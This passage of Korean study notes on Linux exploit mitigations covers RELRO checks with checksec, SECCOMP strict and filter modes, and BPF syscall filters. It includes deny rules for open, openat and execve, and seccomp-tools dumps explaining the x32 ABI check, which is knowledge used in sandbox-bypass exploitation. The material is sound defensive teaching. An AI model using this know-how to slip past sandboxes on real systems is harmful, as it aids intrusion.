- (4)에서 확인한 메모리 주소가 (3)에서 출력한 메모리 주소별 권한을 대조하여, 해당 영역의 권한을 확인할 수 있다.
- .plt 영역인
0x561210C57020
는561210c57000-561210c5c000 r-xp 00002000 08:20 1773 /usr/bin/cat
라인에 해당하며, 읽기/실행 권한이 있고, 쓰기 권한은 부여되지 않은 것이 확인된다. - RELRO가 적용되어
.fini_array
와.init_array
영역은 쓰기 권한이 없는 것이 확인된다. - checksec 명령으로 확인 결과 Full RELRO가 적용된 것이 확인된다.
checksec /usr/bin/cat [*] '/usr/bin/cat' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled FORTIFY: Enabled
Sandbox
- 외부와 내부의 환경을 분리하여 외부로부터 시스템을 격리 보호하는 기법으로, Allow List / Deny List 를 통해 필요한 시스템 콜 혹은 파일 접근 권한만 허용하여 외부 공격을 최소화 한다.
SECCOMP
- 리눅스 커널에서 샌드박스 매커니즘을 제공하는 보안 기능으로,
SECure COMPuting mode
를 축약한 단어이다. - 허가되지 않은 시스템 콜을 어플리케이션에서 호출 할 경우, SECCOMP는 즉시 어플리케이션을 종료시킨다.
- SECCOMP는 두 가지 모드로 동작을 설정 할 수 있다.
- SECCOMP_MODE_STRICT
- read , write , exit , sigreturn 만 호출이 가능한 모드
- 이외의 시스템 콜이 호출되면 SIGKILL 시그널을 발생시킨다.
- SECCOMP_MODE_FILTER
- 원하는 시스템 콜을 필터에 넣고 관리 할 수 있는 모드
- Linux 시스템콜 index 참조
- seccomp 라이브러리를 활용할 시,
seccomp-tools
로 검사하면 시스템콜의 번호가0x40000000
보다 작은지 검사하는 로직이 검출된다는 특징이 있다.- ex)
0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
- x86-64 ABI(Application Binary Interface) 는 x32 ABI 를 호환할 수 있지만, 두 ABI 는 엄연히 다르고 x86-64 ABI 인지 x32 ABI 인지를 구분짓기 위해 0x40000000 과 비교대소를 수행한다.
- x86-64 에서 시스템 콜을 호출하는 함수인
do_syscall_64
는 x86-64의 시스템 콜 호출에 실패하면 x32 시스템 콜 호출을 시도하도록 작성되어 있다. - x32 시스템콜은 x86-64 시스템 콜에
__X32_SYSCALL_BIT
를 더한 값으로 지정되어 있으며,__X32_SYSCALL_BIT
의 값이 바로0x40000000
이다.
- ex)
설치 및 사용
- apt를 이용한 설치 :
apt install libseccomp-dev libseccomp2 seccomp
- 사용 방법:
#include <linux/seccomp.h> ... prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); // STRICT 모드로 동작
#include <linux/seccomp.h> ... // filter mode 로 동작 scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 시스템 콜 호출시 발생할 이벤트 함수 설정. SCMP_ACT_KILL 은 따로 정의하지 않은 모든 시스템 콜에 대해 default 로 SIGKILL 반환한다는 뜻 // seccomp_init(SCMP_ACT_ALLOW) 는 반대로 따로 정의하지 않은 모든 시스템 콜에 대해 default 로 실행을 허가한다는 뜻 seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0); // 규칙 추가. 'rt_sigreturn' 시스템 콜 허용 seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0); // 규칙 추가. 'open' 시스템 콜 금지 seccomp_load(); // 위에서 반영한 규칙들 적용
- strict mode 에서는 system call 호출시 __secure_computing_strict() 함수가 호출되고, __NR_seccomp_read, __NR_seccomp_write, __NR_seccomp_exit, __NR_seccomp_sigreturn 가 아닌 system call 이 호출되었다면 SIGKILL 을 발생시키고 SECCOMP_RET_KILL 을 반환한다.
- BPF (Berkeley Packet Filter) : 커널에서 지원하는 VM으로, 데이터를 비교하고 결과에 따라 특정 구문으로 분기하도록 설정 할 수 있어 네트워크 패킷을 분석하고 필터링 하는 용도로 주로 사용하였으나, 특정 시스템 콜 호출 시 수행 될 동작을 결정하는 용도롤도 사용이 가능하다.
- 명령어 조합 및 매크로를 사용하여 동작 구문을 작성 할 수 있다.
- 명령어:
- BPF_LD: 인자로 전달된 값 복사
- BPF_JMP: 지정한 분기로 이동
- BPF_JEQ: 비교 값이 참일 경우 지정한 위치로 이동
- BPF_RET: 인자로 전달된 값 반환
- 매크로:
- BPF_STMT
- BPF_JUMP
- 사용 예시:
BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr) // 매크로를 활용해 쉽게 명령어 실행 BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0) // argv[1], argv[2] 비교 결과에 따라 특정 offset(argv[3] or argv[4]) 로 분기
- 아키텍처 검사:
// X86_64라면 다음 코드로 분기하고, 다른 아키텍처라면 SECCOMP_RET_KILL을 반환 #define arch_nr (offsetof(struct seccomp_data, arch)) #define ARCH_NR AUDIT_ARCH_X86_64 BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
- 시스템콜 검사:
// ALLOW_SYSCALL 로 허가된 SYSTEM CALLL 외에는 SIGKILL 반환하며 시스템 종료 #define ALLOW_SYSCALL(name) \ BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW #define KILL_PROCESS \ BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL) BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr), ALLOW_SYSCALL(rt_sigreturn), ALLOW_SYSCALL(open), ALLOW_SYSCALL(openat), ALLOW_SYSCALL(read), ALLOW_SYSCALL(write), ALLOW_SYSCALL(exit_group), KILL_PROCESS,
- pctrl 설정 후 BPF로 시스템 콜 필터링
#include <fcntl.h> #include <linux/audit.h> #include <linux/filter.h> #include <linux/seccomp.h> #include <linux/unistd.h> #include <stddef.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/prctl.h> #include <unistd.h> #define DENY_SYSCALL(name) \ BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \ BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL) #define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW) #define syscall_nr (offsetof(struct seccomp_data, nr)) #define arch_nr (offsetof(struct seccomp_data, arch)) /* architecture x86_64 */ #define ARCH_NR AUDIT_ARCH_X86_64 int sandbox() { struct sock_filter filter[] = { /* Validate architecture. */ BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr), BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0), BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL), /* Get system call number. */ BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr), /* List allowed syscalls. */ DENY_SYSCALL(open), DENY_SYSCALL(openat), MAINTAIN_PROCESS, }; struct sock_fprog prog = { .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])), .filter = filter, }; if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) { perror("prctl(PR_SET_NO_NEW_PRIVS)\n"); return -1; } if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) { perror("Seccomp filter error\n"); return -1; } return 0; } int main(int argc, char* argv[]) { char buf[256]; int fd; memset(buf, 0, sizeof(buf)); sandbox(); fd = open("/bin/sh", O_RDONLY); read(fd, buf, sizeof(buf) - 1); write(1, buf, sizeof(buf)); return 0; }
- 명령어:
- 명령어 조합 및 매크로를 사용하여 동작 구문을 작성 할 수 있다.
seccomp-tools
- SECCOMP 및 BPF가 적용된 코드를 분석하기 쉽게 하는 도구
- 설치방법:
sudo apt install gcc ruby-dev sudo gem install seccomp-tools
- seccomp-tools git 주소
- 사용방법
seccomp-tools dump FILE_NAME
: FILE_NAME 에 대한 seccomp 분석 결과 확인- 예시
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010 0005: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0010 0006: 0x15 0x03 0x00 0x00000002 if (A == open) goto 0010 0007: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0010 0008: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0010 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0010: 0x06 0x00 0x00 0x00000000 return KILL
- 예시